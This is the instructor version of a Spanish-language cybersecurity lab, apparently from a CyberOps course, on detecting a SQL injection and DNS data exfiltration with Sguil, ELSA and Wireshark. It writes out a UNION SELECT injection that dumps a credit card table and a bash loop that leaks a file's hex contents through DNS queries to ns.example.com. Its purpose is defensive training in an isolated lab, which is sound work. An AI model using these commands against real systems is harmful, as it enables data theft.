Última actualización: octubre 18, 2022
12.4.1.1 Práctica de laboratorio: Interpretar datos HTTP y DNS para aislar al actor de la amenaza (versión para el instructor)
Nota para el instructor: Los elementos con color de fuente rojo o resaltados en gris indican texto que aparece solo en la copia del instructor.
Topología
Objetivos
En esta práctica de laboratorio, analizarán registros durante un aprovechamiento malicioso de vulnerabilidades HTTP y DNS documentadas.
Parte 1: Preparar el entorno virtual
Parte 2: Investigar un ataque de Inyección SQL
Parte 3: Exfiltración de datos utilizando DNS
Antecedentes / Escenario
MySQL es una base de datos popular que utilizan numerosas aplicaciones web. Desafortunadamente, la Inyección SQL es una técnica de hacking web común. Es una técnica de inyección de código en la que un atacante ejecuta comandos SQL maliciosos para controlar el servidor de bases de datos de una aplicación web.
Los servidores de nombres de dominio (Domain Name Servers, DNS) son directorios de nombres de dominio y traducen los nombres de dominio a direcciones IP. Este servicio puede utilizarse para exfiltrar datos.
En esta práctica de laboratorio ejecutarán una inyección SQL para acceder a la base de datos SQL del servidor. También utilizarán el servicio del DNS para facilitar la exfiltración de datos.
Nota para el instructor: Si los alumnos no puede llenar Squil y ELSA con los registros de alertas necesarios, es posible que tengan que desinstalar las VM, y para ello eliminar todos los archivos de VirtualBox. Luego, tienen que volver a importar las VM.
Recursos necesarios
- Servidor con al menos 8GB de RAM y 40GB de espacio libre en disco.
- Versión más reciente de Oracle VirtualBox
- Conexión a Internet
- Cuatro máquinas virtuales:
Máquina virtual | RAM | Espacio en disco | Usuario | Contraseña |
---|---|---|---|---|
VM CyberOps Workstation | 1GB | 7GB | analyst | cyberops |
Kali | 1GB | 10GB | Raíz | cyberops |
Metasploitable | 512KB | 8GB | msfadmin | msfadmin |
Security Onion | 3 GB | 10GB | analyst | cyberops |
Parte 1: Preparar el entorno virtual
a. Abran Oracle VirtualBox.
b. En la ventana de CyberOps Workstation, verifiquen que CyberOps Workstation tenga la configuración de red correcta. Si es necesario, seleccionen Machine > Settings > Network (Máquina > Configuración > Red). En Attached To (Conectada a), seleccione Internal Network (Red interna). En el menú desplegable Nombre, seleccione interna; luego, haga clic en Aceptar.
c. Inicien las máquinas virtuales CyberOps Workstation, Kali, Metasploitable y Security Onion; para ello, seleccionen cada una de ellas y hagan clic en el botón Start (Iniciar). El botón Start está en la barra de herramientas de VirtualBox.
d. Inicien sesión en la máquina virtual CyberOps Workstation, abran un terminal y configuren la red; para ello, ejecuten el script sh.
Como el script requiere privilegios de usuario avanzado, introduzcan la contraseña correspondiente al usuario analyst.
analyst@secOps ~]$ sudo ./lab.support.files/scripts/configure_as_static.sh [sudo] contraseña para analyst: Configurar la NIC de la siguiente manera: IP: 192.168.0.11/24 GW: 192.168.0.1 Configuración de IP exitosa. [analyst@secOps ~]$
e. Inicien sesión en la VM Security Onion. Hagan clic derecho en el Escritorio > Open Terminal Here (Abrir terminal aquí). Introduzcan el comando sudo service nsm status para verificar que todos los servidores y sensores estén listos. Este proceso podría demorar unos instantes. Repitan el comando según sea necesario hasta que todos los estados de todos los servidores y sensores sea OK antes de pasar a la parte siguiente.
analyst@SecOnion:~/Desktop$ sudo service nsm status Status: securityonion * sguil server [ OK ] Status: HIDS * ossec_agent (sguil) [ OK ] Status: Bro Name Type Host Status Pid Started manager manager localhost running 5577 26 Jun 10:04:27 proxy proxy localhost running 5772 26 Jun 10:04:29 seconion-eth0-1 worker localhost running 6245 26 Jun 10:04:33 seconion-eth1-1 worker localhost running 6247 26 Jun 10:04:33 seconion-eth2-1 worker localhost running 6246 26 Jun 10:04:33 Status: seconion-eth0 * netsniff-ng (full packet data) [ OK ] * pcap_agent (sguil) [ OK ] * snort_agent-1 (sguil) [ OK ] * snort-1 (alert data) [ OK ] * barnyard2-1 (spooler, unified2 format) [ OK ] <output omitted>
Parte 2: Investigar un ataque de Inyección SQL
En esta parte, ejecutarán una Inyección SQL para acceder a la información de tarjetas de crédito almacenada en el servidor web. La VM Metasploitable está funcionando como servidor web configurado con una base de datos MySQL.
Paso 1: Ejecuten una inyección SQL.
a. Inicien sesión en la VM Kali con el nombre de usuario root y la contraseña cyberops.
b. En la VM Kali, hagan clic en el icono de Firefox ESR para abrir una ventana nueva del navegador.
c. Diríjanse a 209.165.200.235. Hagan clic en Mutillidae para acceder a un sitio web de vulnerabilidades.
d. Hagan clic en OWASP Top 10 > A1 – Injection > SQLi – Extract Data > User Info (Primeras 10 de OWASP > A1 – Inyección > SQLi – Datos extraídos > Información del usuario).
e. Haga clic derecho en el campo Nombre y seleccione Inspeccionar elemento (Q).
f. En el campo Username (Nombre de usuario), hagan doble clic en el 20 y cámbienlo por 100 para poder ver la cadena más larga cuando introduzcan la consulta en el campo Name. Cierren el elemento de inspección cuando hayan terminado.
g. Introduzcan ‘ union select ccid,ccnumber,ccv,expiration,null from credit_cards — en el campo Name. Hagan clic en View Account Details (Ver detalles de la cuenta) para extraer la información sobre las tarjetas de crédito de la tabla credit-cards en la base de datos owasp10 mysql.
Nota: Hay una comilla simple ( ‘ ), seguida por un espacio al comienzo de la cadena. Hay un espacio después de — al final de la cadena.
h. Desplácense hacia abajo por la página para ver los resultados. El resultado indica que han extraído correctamente la información de las tarjetas de crédito de la base de datos por medio de una inyección SQL. Esta información solo debería estar disponible a usuarios autorizados.
Paso 2: Analicen los registros de Sguil.
a. Diríjanse a la VM Security Onion. Haga doble clic en el icono de Sguil del Escritorio. Introduzcan el nombre de usuario analyst y la contraseña cyberops cuando el sistema se los solicite.
b. Hagan clic en Select All (Seleccionar todas) para monitorear todas las redes. Hagan clic en Start SGUIL (Iniciar SGUIL) para continuar.
c. En la ventana inferior derecha de la consola de Sguil, hagan clic en Show Packet Data (Mostrar datos de paquetes) y en Show Rule (Mostrar regla) para ver los detalles de una alerta seleccionada.
d. Busquen alertas relacionadas con ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT. Seleccionen las alertas que comiencen con 7. Estas alertas están relacionadas con seconion-eth2-1, y probablemente sean las más recientes. Como Sguil muestra eventos en tiempo real, la Fecha/hora de la captura de pantalla debe tomarse solo como referencia. Deben tener presente la Fecha/Hora de la alerta seleccionada.
e. Hagan clic derecho sobre el número que se encuentra debajo del encabezado de CNT correspondiente a la alerta seleccionada para ver todas las alertas relacionadas. Seleccionen View Correlated Events (Ver eventos correlacionados).
f. Hagan clic en el ID de una alerta en los resultados. Seleccionen Transcript (Transcripción) para ver los detalles correspondientes a esta alerta.
Nota: Si escribió mal la información del usuario en el paso anterior, tendrá que utilizar la última alerta de la lista.
g. En esta ventana pueden ver que la declaración GET que está utilizando el operador UNION se empleó para acceder a la información de tarjetas de crédito. Si no ven esta información, hagan clic derecho sobre otro de los eventos correlacionados.
Nota: Si introdujo el script de inyección más de una vez debido a un error al escribir o por algún otro motivo, tal vez le convengan ordenar la columna Fecha/Hora y ver la alerta más reciente.
¿Qué información pueden reunir de la ventana Transcript?
¿Qué información pueden reunir de la ventana Transcript?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
En la ventana Transcript se muestra la transacción entre el origen 209.165.201.17:52644 y el destino 209.165.200.235:80. La transcripción indica que 209.165.201.17 está tratando de acceder a información de tarjetas de crédito por medio de un operador SQL UNION. La transcripción correspondiente al servidor web en 209.165.200.235 muestra el contenido HTML que se expuso al atacante.
h. También puede determinar la información que recuperó el atacante. Hagan clic en Search (Buscar) e introduzcan username (nombre de usuario) en el campo Find: (Buscar:). Utilicen el botón Find para encontrar la información capturada. La misma información de tarjetas de crédito puede aparecer en pantalla con un aspecto distinto al de la figura de abajo.
Nota: Si no puede ubicar la información sobre la tarjeta de crédito robada, es posible que tenga que visualizar la transcripción en otra alerta.
En la ventana Transcript se muestra la transacción entre el origen 209.165.201.17:52644 y el destino 209.165.200.235:80. La transcripción indica que 209.165.201.17 está tratando de acceder a información de tarjetas de crédito por medio de un operador SQL UNION. La transcripción correspondiente al servidor web en 209.165.200.235 muestra el contenido HTML que se expuso al atacante.
h. También puede determinar la información que recuperó el atacante. Hagan clic en Search (Buscar) e introduzcan username (nombre de usuario) en el campo Find: (Buscar:). Utilicen el botón Find para encontrar la información capturada. La misma información de tarjetas de crédito puede aparecer en pantalla con un aspecto distinto al de la figura de abajo.
Nota: Si no puede ubicar la información sobre la tarjeta de crédito robada, es posible que tenga que visualizar la transcripción en otra alerta.
Comparen la información de las tarjetas de crédito de la ventana de la transcripción con el contenido que se extrajo con el ataque de Inyección SQL. ¿Qué pueden concluir?
La información de tarjetas de crédito es la misma porque en la transcripción se muestra todo el contenido transmitido entre el origen y el destino.
i. Cierren las ventanas cuando hayan terminado.
j. Regresen a la ventana de Sguil, hagan clic derecho sobre el mismo ID de alerta que contiene la información de tarjetas de crédito exfiltrada y seleccionen Wireshark.
k. Hagan clic derecho sobre un paquete TCP y seleccionen Follow TCP Stream (Seguir flujo de TCP).
l. En la ventana del flujo de TCP se muestran la solicitud GET y los datos exfiltrados. Sus salidas pueden diferir de la figura de abajo, pero tiene que contener la misma información de tarjetas de crédito que la transcripción anterior.
m. En este punto podrían guardar los datos de Wireshark si hacen clic en Save As (Guardar como), en la ventana del flujo de TCP. También pueden guardar el archivo pcap de Wireshark. También pueden documentar las direcciones IP y los puertos de origen y destino, la hora del incidente y el protocolo utilizado para el análisis subsiguiente a cargo de un analista Nivel 2.
n. Cierren o minimicen Wireshark y Sguil.
Paso 3: Analicen los registros de ELSA.
Los registros de ELSA también pueden proporcionar información similar.
a. Cuando estén en la VM Security Onion, abran ELSA desde el Escritorio. Si ven el siguiente mensaje: «Your connection is not private» («Su conexión no es privada»), hagan clic en ADVANCED (AVANZADAS) para continuar.
b. Hagan clic en Proceed to localhost (unsafe) (Proseguir a un host local [inseguro]) para continuar al host local.
c. Inicien sesión con el nombre de usuario analyst y la contraseña cyberops.
d. En el panel izquierdo, seleccionen HTTP > Top Potential SQL Injection (HTTP > Principales inyecciones SQL potenciales). Seleccionen 165.200.235.
e. En la última entrada, haga clic en Info. Esta información está relacionada con la inyección SQL exitosa. Observen la consulta union que se utilizó durante el ataque.
f. Hagan clic en Plugin > getPcap (Complemento > getPcap). Introduzcan el nombre de usuario analyst y la contraseña cyberops cuando el sistema se los solicite. Si es necesario, hagan clic en Submit (Enviar). CapMe es una interfaz web que les permite obtener una transcripción pcap y descargar el pcap.
g. La transcripción de pcap se traduce utilizando tcpflow, y esta página también proporciona el enlace para acceder al archivo pcap. También pueden buscar información sobre el nombre de usuario. Presionen Ctrl + F para abrir el cuadro de diálogo Find… (Buscar…). Introduzcan el nombre de usuario en el campo. Deberían poder localizar la información de tarjetas de crédito que se expuso durante el ataque de inyección SQL.
Parte 3: Exfiltración de datos utilizando DNS
La VM CyberOps Workstation contiene un archivo de nombre confidential.txt en el directorio /home/analyst/lab.support.files. Un atacante que se dirija a la VM Kali utilizará DNS para exfiltrar el contenido del archivo desde la CyberOps Workstation. El atacante logró acceder a las máquinas virtuales CyberOps Workstation y Metasploitable. La máquina virtual Metasploitable está configurada como servidor DNS.
Paso 1: Conviertan un archivo de texto en uno hexadecimal.
a. En la CyberOps Workstation, diríjanse a /home/analyst/lab.support.files/. Verifiquen que el archivo confidential.txt esté en el directorio.
b. Muestren el contenido del archivo confidential.txt con el comando more.
c. El comando xxd se utiliza para crear un volcado hexadecimal o para retroconvertirlo a binario. Para transformar el contenido de confidential.txt en cadenas hexadecimales de 60 bytes y guardarlo en confidential.hex, utilicen el comando xxd -p confidential.txt > confidential.hex.
La opción -p se utiliza para formatear la salida en formato Postscript y > es para redirigir la salida a confidential.hex.
Nota: Consulte la página principal de xxd para obtener más información sobre todas las opciones disponibles para el comando xxd.
[analyst@secOps lab.support.files]$ xxd -p confidential.txt > confidential.hex
d. Verifiquen el contenido de confidential.hex.
[analyst@secOps lab.support.files]$ cat confidential.hex 434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053 484152450a5468697320646f63756d656e7420636f6e7461696e7320696e 666f726d6174696f6e2061626f757420746865206c617374207365637572 697479206272656163682e0a
e. Verifiquen que CyberOps Workstation se haya configurado para que utilice el resolvedor de DNS local en 209.165.200.235. Introduzcan cat /etc/resolv.conf.
[analyst@secOps lab.support.files]$ cat /etc/resolv.conf # Generated by resolvconf nameserver 8.8.4.4 nameserver 209.165.200.235
Paso 2: Antepongan el contenido al registro de consultas DNS.
En este paso ejecutarán un bucle for del shell de Bash que se iterará en cada línea del archivo confidential.hex y agregará cada línea de la cadena hexadecimal al nombre del servidor de nombres de dominio destino: ns.example.com. Se ejecuta una consulta DNS en cada una de estas líneas nuevas. La consulta tendrá el siguiente aspecto cuando haya terminado:
434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053.ns.example.com 484152450a5468697320646f63756d656e7420636f6e7461696e7320696e.ns.example.com 666f726d6174696f6e2061626f757420746865206c617374207365637572 ns.example.com 72697479206272656163682e0a ns.example.com
Dentro del bucle for, el comando cat confidential.hex está entre la comilla hacia atrás (`) y se ejecuta para mostrar el contenido del archivo. Cada línea de las cadenas hexadecimales presentes en el archivo confidential.hex se almacena temporariamente en la variable line. El contenido de la variable line se antepone a ns.example.com en el comando drill. El comando drill está diseñado para obtener información del DNS.
Nota: La comilla invertida a menudo se puede encontrar al lado de la tecla 1 en el teclado. No es el carácter de comilla simple, que es recto y vertical.
El comando se debe introducir exactamente como se indica a continuación en la línea de comando. Este proceso puede tardar desde varios segundos a unos pocos minutos. Aguarden hasta que vuelva a aparecer el símbolo del sistema.
[analyst@secOps lab.support.files]$ for line in `cat confidential.hex` ; do drill $line.ns.example.com; done ;; ->>HEADER<<- opcode: QUERY, rcode: NXDOMAIN, id: 19375 ;; flags: qr aa rd ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;; 434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053.ns.example.com.IN A ;; ANSWER SECTION: ;; AUTHORITY SECTION: example.com. 604800 IN SOA ns.example. root.example.com. 2 604800 86400 2419200 604800 ;; ADDITIONAL SECTION: ;; Query time: 4 msec ;; SERVER: 209.165.200.235 ;; WHEN: Wed Jun 28 14:09:24 2017 ;; MSG SIZE rcvd: 144 ;; ->>HEADER<<- opcode: QUERY, rcode: NXDOMAIN, id: 36116 ;; flags: qr aa rd ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 <some output omitted>
Paso 3: Exfiltren el registro de consultas DNS.
En este momento, el atacante que está en Kali puede acceder a /var/lib/bind/query.log y extraer los datos.
a. Inicien sesión en Kali (si es necesario), abran un Terminal y hagan SSH en Metasploitable con el nombre de usuario user y la contraseña user. Escriban yes (sí) y continúen con el proceso de conexión a Metasploitable cuando el sistema se los solicite. La contraseña puede tardar entre varios segundos y un minuto en aparecer.
root@kali:~# ssh [email protected] The authenticity of host '209.165.200.235 (209.165.200.235)' can't be established. RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '209.165.200.235' (RSA) to the list of known hosts. [email protected]'s password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ Last login: Wed Aug 30 11:24:13 2017 from 209.165.201.17 user@metasploitable:~$
b. Utilicen el siguiente comando egrep para analizar el archivo de registro de consultas DNS: /var/lib/bind/query.log.
El comando se debe introducir exactamente como se indica a continuación en la línea de comando.
user@metasploitable:~$ egrep -o [0-9a-f]*.ns.example.com /var/lib/bind/query.log | cut -d. -f1 | uniq > secret.hex
- El comando egrep es idéntico al comando grep -E. Esta opción -E permite la interpretación de expresiones regulares extendidas.
- La opción -o muestra solo las porciones que coinciden.
- La expresión regular extendida, [0-9a-f]]*.ns.example.com, coincide con partes del query.log con cero o más instancias de letras en minúscula y números, con example.com como parte del final de la cadena.
- El comando cut elimina una sección de cada línea de los archivos. El comando cut -d. -f1 utiliza el punto (,) como delimitador para mantener solamente el subdominio y quitar el resto de la línea con el Nombre de dominio totalmente calificado (Fully Qualified Domain Name, FQDN).
- El comando uniq quita todos los duplicados.
- La barra vertical (|) lleva la salida del comando a su izquierda, que pasa a ser la entrada del comando a su derecha. Hay dos barras verticales en los comandos.
- Finalmente, el resultado se redirecciona al archivohex.
c. Utilicen el comando cat para mostrar el archivo hexadecimal.
user@metasploitable:~$ cat secret.hex 434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053 484152450a5468697320646f63756d656e7420636f6e7461696e7320696e 666f726d6174696f6e2061626f757420746865206c617374207365637572 697479206272656163682e0a
El contenido del archivo será el mismo que el de confidential.hex en CyberOps Workstation.
d. Salgan de la sesión SSH de Metasploitable.
user@metasploitable:~$ exit logout Connection to 209.165.200.235 closed.
e. Utilicen el comando de copia de seguridad (scp) para copiar el archivo hex de la VM Metasploitable a la Kali. Introduzcan user como la contraseña cuando se los solicite el sistema. Esto podría demorar unos minutos.
root@kali:~# scp [email protected]:/home/user/secret.hex ~/ [email protected]'s password: secret.hex 100% 3944 3.1MB/s 00:00
f. Verifiquen que el archivo se haya copiado a la VM Kali.
g. Revertirán el volcado hexadecimal para mostrar el contenido el archivo exfiltrado: secret.hex. El comando xxd con las opciones -r -p revierte el volcado hexadecimal. El resultado se redirecciona al archivo secret.hex.
root@kali:~# xxd -r -p secret.hex > secret.txt
h. Verifiquen que el contenido del archivo secret.txt sea el mismo que el del archivo confidential.txt en la VM CyberOps Workstation.
root@kali:~# cat secret.txt CONFIDENTIAL DOCUMENT NO COMPARTIR Este documento contiene información sobre la última brecha de seguridad.
i. Ahora pueden apagar las VM CyberOps Workstation, Metasploitable y Kali.
Paso 4: Analicen la exfiltración de DNS.
En los pasos anteriores, el atacante realizó una exfiltración de DNS con herramientas de Linux. Ahora, la tarea que les encomiendo es extraer el contenido de la exfiltración.
a. Inicien sesión en Security Onion alternativa y abran ELSA desde el Escritorio. Si ven el siguiente mensaje: «Your connection is not private» («Su conexión no es privada»), hagan clic en ADVANCED (AVANZADAS) para continuar. Hagan clic en Proceed to localhost (unsafe) (Proseguir a un host local [inseguro]) para continuar al host local. Introduzcan el nombre de usuario analyst y la contraseña cyberops cuando el sistema se los solicite.
b. En las consultas de ELSA de la barra lateral izquierda, hagan clic en DNS > Bottom (DNS > Menos frecuentes). Esto devuelve registros correspondientes a todas las solicitudes de DNS, ordenados de modo que los menos frecuentes aparezcan primero. Desplácense hacia abajo por la lista de resultados para ver algunas consultas de ns.example.com con una cadena hexadecimal como primera parte del nombre de subdominio. Habitualmente, los nombres de dominio no son expresiones hexadecimales de 63 bytes. Esto podría indicar la presencia de actividad maliciosa porque los usuarios probablemente no pueden recordar un nombre de subdominio largo con letras y número aleatorios.
c. Hagan clic en uno de los enlaces y copien la cadena de 63 bytes preanexada a example.com.
d. Abran una ventana del terminal y utilicen los comandos echo y xxd para revertir la cadena hexadecimal. La opción -n impide la salida de la línea nueva de arrastre.
analyst@SecOnion:~/Desktop$ echo -n "434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053" | xxd -r -p CONFIDENTIAL DOCUMENT DO NOT Sanalyst@SecOnion:~/Desktop$
¿Cuál es el resultado si siguen revirtiendo las cadenas hexadecimales?
CONFIDENTIAL DOCUMENT
NO COMPARTIR
Este documento contiene información sobre la última brecha de seguridad.